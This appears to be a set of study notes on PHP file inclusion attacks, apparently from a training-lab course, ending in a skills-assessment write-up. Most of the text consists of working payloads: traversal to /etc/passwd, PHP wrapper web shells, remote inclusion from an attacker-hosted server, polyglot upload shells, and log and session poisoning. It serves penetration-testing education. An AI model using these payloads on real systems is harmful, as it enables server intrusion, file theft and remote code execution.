Skip to main content

File inclusion

To reduce the amount of code required, sometimes the page or section to render is passed with a parameter. If this feature is not properly secured an attacker can use this parameter to display the content of any file.

Local file inclusion

This vulnerability happens typically on templating engines. For example:

/index.php?page=about and about is a PHP file in the same directory.

File Inclusion vulnerabilities may occur in any web server and any development frameworks, as all of them provide functionalities for loading dynamic content and handling front-end templates.

The most important thing to keep in mind is that some of the above functions only read the content of the specified files, while others also execute the specified files. Furthermore, some of them allow specifying remote URLs, while others only work with files local to the back-end server.

The following table shows which functions may execute files and which only read file content:

Basic LFI

One example of basic LFI, can be http://<SERVER_IP>:<PORT>/index.php?language=es.php. In a webpage, when we change the language, another file is read (es.php).

Two common readable files that are available on most back-end servers are /etc/passwd on Linux and C:\Windows\boot.ini on Windows. So, let's change the parameter from es to /etc/passwd: http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd and we retrieve the /etc/passwd file contents.

Path traversal

There might be cases where the file inclusion is "restricted" to some folder:

include("./languages/" . $_GET['language']);

The languages are loaded from the languages folder. In this case, if we visit the URL in the previous section, it will not work because it will try to read the file in ./languages/etc/password.

We can easily bypass this restriction using relative paths. We can add ../ to visit the parent directory. So, we can use this trick to go back several directories until we reach the root path (i.e. /), and then specify our absolute file path (e.g. ../../../../etc/passwd), and the file should exist:

http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd.

Filename prefix

On some occasions, our input may be appended after a different string. For example, it may be used with a prefix to get the full filename, like the following example:

include("lang_" . $_GET['language']);

In this case, if we try to traverse the directory with ../../../etc/passwd, the final string would be lang_../../../etc/passwd, which is invalid.

instead of directly using path traversal, we can prefix a / before our payload, and this should consider the prefix as a directory, and then we should bypass the filename and be able to traverse directories.

This may not always work, as in this example a directory named lang_/ may not exist, so our relative path may not be correct.

Appended extensions

Sometimes, the extension of the file is included in the backend code:

include($_GET['language'] . ".php");

if we try to read /etc/passwd, then the file included would be /etc/passwd.php, which does not exist.

The bypass for this will be discussed in future sections.

Second order attacks

This occurs because many web application functionalities may be insecurely pulling files from the back-end server based on user-controlled parameters.

For example, a web application may allow us to download our avatar through a URL like (/profile/$username/avatar.png). If we craft a malicious LFI username (e.g. ../../../etc/passwd), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.

Basic bypass

The developers usually put some mechanism to protect user inputs. However, most of them can be bypassed.

Search and replace filter

Detect and deletes substrings of ../:

$language = str_replace('../', '', $_GET['language']);

In this case, it does not replace recursively, it will only replace the first entry of ../. So, ....// would become ../ and this way we can retrieve the file.

There are other ways of bypassing the search replace, we may use ..././ or ..../ and several other recursive LFI payloads. Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. ..../), or adding extra forward slashes (e.g. ....////)

Encoding

Sometimes, when the payload is URL encoded and the check is implemented poorly, the limitation will be bypassed. For example:

If the target web application did not allow . and / in our input, we can URL encode ../ into %2e%2e%2f, which may bypass the filter.

Sometimes double URL encode might help bypassing the filter.

Approved paths

Sometimes, the application restrict the user input to make sure if lands in an approved path, e.g.

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}

To bypass this, we may use path traversal and start our payload with the approved path, and then use ../ to go back to the root directory and read the file we specify, as follows: <SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Approved extension

With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful e.g. for reading source code.

Path Truncation

In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.) then the /. would also be truncated, and PHP would call (/etc/passwd). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd is the same as /etc/passwd). Similarly, a current directory shortcut (.) in the middle of the path would also be disregarded (e.g. /etc/./passwd).

If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (.php) would be truncated, and we would have a path without an appended extension. Finally, it is also important to note that we would also need to start the path with a non-existing directory for this technique to work.

we should calculate the full length of the string to ensure only .php gets truncated

Null bytes

Adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.

To exploit this vulnerability, we can end our payload with a null byte (e.g. /etc/passwd%00), such that the final path passed to include() would be (/etc/passwd%00.php). This way, even though .php is appended to our string, anything after the null byte would be truncated, and so the path used would actually be /etc/passwd, leading us to bypass the appended extension.

PHP Filters

PHP has a built-in feature named PHP Wrappers. They allow developers to access different I/O stream at application level, such as stdin, stdout, etc...

PHP filters are a special type of PHP wrappers to pass different types of input and have it filtered. You can read more about each filter on their respective link, but the filter that is useful for LFI attacks is the convert.base64-encode filter, under Conversion Filters.

The first step is to use fuff to enumerate PHP files. Normally in php LFI inclusion, the PHP gets executed and the source code cannot be seen.

For example:

http://<SERVER_IP>:<PORT>/index.php?language=config will execute the config.php file and we'll not see anything in the website.

However, we can leverage php filter to transform the file to base64:

php://filter/read=convert.base64-encode/resource=config:

http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config

Later, we can transform the source code using base64 -d:

echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

PHP Wrappers

There are other PHP wrappers that would be extremely useful.

Data wrapper

The data wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the allow_url_include setting is enabled in the PHP configurations.

First we need to check if that flag is enabled or not. In order to do so, we'll use base64 wrapper to retrieve the files in:

/etc/php/X.Y/apache2/php.ini for Apache or, /etc/php/X.Y/fpm/php.ini for nginx.

If we don't know exactly the PHP version, we can try all of them.

For example:

curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"

Now, we can pass the PHP code we want to execute encoded in base64 to the data wrapper:

echo '<?php system($_GET["cmd"]); ?>' | base64

http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

And we can execute any command via PHP. We can do it via cURL:

adriangalera@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Input wrapper

Similar to the data wrapper, the input wrapper can be used to include external input and execute PHP code. The difference between it and the data wrapper is that we pass our input to the input wrapper as a POST request's data. So, the vulnerable parameter must accept POST requests for this attack to work. Finally, the input wrapper also depends on the allow_url_include setting, as mentioned earlier.

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid

Additionally, we can add the command directly into the data, e.g:

<\?php system('id')?>

Expect wrapper

Works in a similar way of the previous one, but it is external and needs to be manually installed. First, we need to check if it's configured checking for extension=expect in php.ini

If present, the attack is straightforward:

curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

Remote File Inclusion

In some cases, we are able to include not only local files, but remote files. This is very useful to the attacker, since it can host a malicious script in the machine and force the application to include it.

Usually the language has some config that disables RFI completely, but in some cases it is enabled. In PHP, the config is the same as we have seen before: allow_url_include = On.

There are some import functions vulnerable to RFI while the others don't. Refer to the table at the beginning for reference.

So, the first step is to verify if we can do a RFI. Try to include a local URL:

http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php.

We can use RFI to do Remote Code execution:

We can craft a malicious script:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

and host it in our machine:

sudo python3 -m http.server <LISTENING_PORT>

Later on, we can include our URL as the RFI to perform RCE.

http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

We can host our file using FTP:

sudo python -m pyftpdlib -p 21

and include it:

http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

If the server is a Windows machine, we don't need the allow_url_include. We can use SMB protocol for RFI. This is because Windows treats files on remote SMB servers as normal files

We can spin up a samba server using impacket smbserver.py:

impacket-smbserver -smb2support share $(pwd)

And include our URL by using a UNC path:

http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFI and file uploads

If the application allows the user to upload files, this might lead to LFI. For example, an application allow the user to upload an image, however, we can upload a PHP web shell. If the importing function has Execute capabilities it will execute the code uploaded.

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

We then upload this gif as our profile picture. Later in the application, we see where it is imported:

<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">

in index.php. We just need to pass the cmd parameter now:

http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

Something similar can be achieve with the zip wrapper (not enabled by default).

We can create a malicious zip disguised as an image:

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

And use the zip wrapper for RCE:

http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id.

We can also use the phar wrapper to the same.

To do so, we can write a PHP script:

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

We can compile it into a phar file and later rename it to an image:

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

And similarly include it:

http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Log poisoning

This types of attacks rely on importing functions that have the Execute privileges. The main idea is that if we are aware of any info that is logged to a file, we can send our malicious payload so that it gets logged. Then, we'll import the poisoned log to be executed.

PHP Session poisoning

Similar to log poisoning, session data is stored in files in /var/lib/php/sessions/ on Linux and in C:\Windows\Temp\ on Windows. E.g, if the PHPSESSIONID is el4ukv0kqbvoirg7nkp4dncpk3, the location in the disk will be /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3.

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd

Now, we should look for some value in the session that is under our control. For example, language.

We can write a URL-encoded web shell in language:

http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E.

Then, when we visit the page with the session LFI, we'll get Remote Code Execution:

http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

Server log poisoning

We can abuse Apache or Nginx access or error logs to inject some malicious PHP that will be imported with the LFI vulnerability.

We can control the User-Agent of our client, therefore, we can send a request with User-Agent header with the web shell:

adriangalera@htb[/htb]$ echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
adriangalera@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison

The poisoning technique might be used for SSH, mail or ftp logs.

We should determine first if we have access to the files using the LFI.

Fuzzing parameters

Usually, the parameters in forms and such are well protected. However, there might be hidden parameters not well secured and vulnerable to LFI.

Example with fuff:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value'

We can find good wordlists for LFI seclists: Fuzzing/LFI and LFI-Jhaddix.

We can use the LFI to discover the contents of the server, for example identifying the server root. For example:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' 

Depending on our LFI situation, we may need to add a few back directories (e.g. ../../../../), and then add our index.php afterwords.

Same technique can be leveraged to find server configuration or logs. For example, these two wordlists https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux and https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows allows to reveal several configuration and log files.

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ'

Skills assessment

This is the write-up for the assessment of HTB academy File inclusion module.

This a little bit tricky because we know which vulnerability to exploit here: file inclusion.

whatweb 94.237.49.11:31840/index.php           
http://94.237.49.11:31840/index.php [200 OK] Bootstrap, Country[FINLAND][FI], HTML5, HTTPServer[nginx/1.18.0], IP[94.237.49.11], JQuery[3.3.1], PHP[7.3.22], Script, Title[InlaneFreight], X-Powered-By[PHP/7.3.22], nginx[1.18.0]

whatweb reveals we're dealing with a PHP/7.3.22 page served by an nginx/1.18.0.

While navigating as a regular user in the website, we can see the URL has a page parameter which looks promising for LFI vulnerability.

Visiting http://94.237.49.11:31840/index.php?page=industries../ shows Invalid input detected! which is the contents of error.php page.

Let's try the basic bypasses:

  • Double the input: ./ become ..//. Nothing
  • URL encode the symbols: nothing
  • Try to escape the approve path: N/A because the pages are in root
  • Path truncation: N/A PHP version is recent
  • Null byte: N/A PHP version is recent

Let's try with more complex bypasses:

http://94.237.49.11:31840/index.php?page=php://filter/read=convert.base64-encode/resource=main

Worked and return the content of the main.php in base64

In index.php we discover a commented piece of code that makes reference to ilf_admin/index.php. If we try to access that page, we get something interesting showing some logs. Worth remembering: http://94.237.49.11:31840/ilf_admin/index.php?log=system.log

The filtering mechanism looks quite simple:

  $page = $_GET['page'];
if (strpos($page, "..") !== false) {
include "error.php";
}
else {
include $page . ".php";
}

http://94.237.49.11:31840/index.php?page=%252e%252e%252fetc%252fpasswd

Looks like might be vulnerable to double encoding, however we're only bypassing the first if and the include only let us include php files.

Let's get back to http://94.237.49.11:31840/ilf_admin/index.php

We can try to brute-force some directories:

ffuf -w /opt/github/SecLists/Discovery/Web-Content/combined_directories.txt:FUFF -u http://94.237.49.11:31840/ilf_admin/FUFF.php
ffuf -w /opt/github/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://94.237.49.11:31840/ilf_admin/index.php?FUZZ=value' -fl 102

Nothing revealed.

However, we can try the LFI directly in the log paramter:

http://94.237.49.11:31840/ilf_admin/index.php?log=../../error.php and it worked!

http://94.237.49.11:31840/ilf_admin/index.php?log=../../../../../etc/passwd we have read the passwd file!

In order to have Remote Code Excecution, let's try to see if we can have Remote File Inclusion and add our shell.

We cannot include Remote files, checking the nginx error log, looks like they might be using file_get_contents or something like this.

Given we have access to logs, we can poison them and force ilf_admin to execute them by setting the user-agent of curl:

curl -s "http://94.237.59.185:42603/index.php" -A "<?php system($_GET['cmd']); ?>"

And now we have a web shell running in the logs page:

http://94.237.59.185:42603/ilf_admin/index.php?log=../../../../../var/log/nginx/access.log&cmd=id

From here we can move to a reverse shell